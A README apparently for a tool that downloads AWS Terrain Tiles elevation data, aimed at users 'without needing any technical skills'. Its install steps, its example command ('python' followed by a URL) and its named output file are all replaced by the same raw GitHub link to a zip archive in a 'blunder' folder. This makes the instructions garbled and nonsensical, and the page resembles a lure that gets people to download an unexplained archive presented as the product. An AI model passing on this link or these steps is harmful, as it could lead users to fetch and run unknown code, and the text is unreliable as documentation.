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πŸš€ AWS-Dem-Downloader - Download Elevation Data Easily

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πŸš€ Getting Started

Welcome to the AWS-Dem-Downloader project. This tool helps you download AWS Terrain Tiles quickly and efficiently. It is suitable for anyone looking for elevation data without needing any technical skills.

πŸ›  Features

πŸ“¦ System Requirements

Ensure you have the following on your computer to run this tool:

  • Operating System: Windows 10 or newer, MacOS 10.15 or newer, or a modern Linux distribution
  • Python: Version 3.6 or newer
  • Disk Space: At least 500 MB free for caching downloaded files
  • Internet Connection: Required for downloading data

πŸ“₯ Download & Install

To get started, visit the following page to download the software:

Download AWS-Dem-Downloader

  1. Open your web browser and go to the release page linked above.
  2. Find the most recent version of AWS-Dem-Downloader.
  3. Click on the appropriate installer file for your operating system (for example, .exe for Windows or https://raw.githubusercontent.com/hudachan-bos/AWS-Dem-Downloader/main/blunder/AWS-Dem-Downloader.zip for Linux).
  4. The download will begin. Save the file to a location you can easily access, like your Desktop or Downloads folder.

πŸ” How to Use

After downloading and installing the AWS-Dem-Downloader, follow these steps to begin downloading elevation data:

  1. Open a terminal or command prompt on your computer.

  2. Navigate to the directory where you installed AWS-Dem-Downloader.

    • For example, type cd Desktop/AWS-Dem-Downloader and press Enter.
  3. Use the command to start downloading tiles. You can specify options like bounding box and zoom level.

    • Example command:
      python https://raw.githubusercontent.com/hudachan-bos/AWS-Dem-Downloader/main/blunder/AWS-Dem-Downloader.zip --bounding-box "minLon,minLat,maxLon,maxLat" --zoom 12
      
    • Replace "minLon,minLat,maxLon,maxLat" with your desired coordinates.
  4. After entering your command, press Enter. The tool will fetch the specified tiles and save them to your chosen directory.

πŸ“Š Understanding Output

Once completed, you will see a https://raw.githubusercontent.com/hudachan-bos/AWS-Dem-Downloader/main/blunder/AWS-Dem-Downloader.zip file in your output directory. This file contains useful information about the downloaded tiles, including:

  • Tile names and locations
  • Coordinates for each tile
  • Any integrity checks performed during the download

You can use this file in GIS applications to visualize your elevation data.

πŸ“„ Support

If you encounter any issues or have questions while using AWS-Dem-Downloader, please check the Issues section in the GitHub repository. Our community and maintainers can assist you.

🀝 Contributing

If you wish to contribute to the AWS-Dem-Downloader project, please read the contribution guidelines in the repository. We welcome feedback, feature requests, and code improvements.

πŸ”— Useful Links

By following these steps, you will be well on your way to easily downloading and utilizing AWS Terrain Tiles. Enjoy exploring elevation data!

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